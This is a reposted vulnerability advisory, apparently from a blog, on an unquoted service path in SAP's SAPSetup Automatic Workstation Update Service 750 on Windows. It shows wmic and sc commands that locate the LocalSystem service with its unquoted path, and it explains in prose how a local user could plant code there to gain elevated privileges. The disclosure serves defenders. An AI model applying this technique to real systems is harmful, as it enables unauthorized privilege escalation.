Tuesday, March 23, 2021

SAPSetup Automatic Workstation Update Service 750 Unquoted Service Path

# Exploit Title: SAPSetup Automatic Workstation Update Service 750 - 'NWSAPAutoWorkstationUpdateSvc' Unquoted Service Path
# Discovery by: Alan Mondragon
# Discovery Date: 2021-03-16
# Vendor Homepage: https://help.sap.com/
# Software Links : https://help.sap.com/
# SAP
# Tested Version: 750 Final Release
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
SAPSetup Automatic Workstation Update Service NWSAPAutoWorkstationUpdateSvc C:\Program Files (x86)\SAP\SAPsetup\Setup\Updater\NwSapAutoWorkstationUpdateService.exe Auto


C:\>sc qc "NWSAPAutoWorkstationUpdateSvc"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NWSAPAutoWorkstationUpdateSvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START (DELAYED)
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\SAP\SAPsetup\Setup\Updater\NwSapAutoWorkstationUpdateService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : SAPSetup Automatic Workstation Update Service
DEPENDENCIES : RPCSS
SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

 

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Thanks for everything Templateism - You should have written the code a little more complicated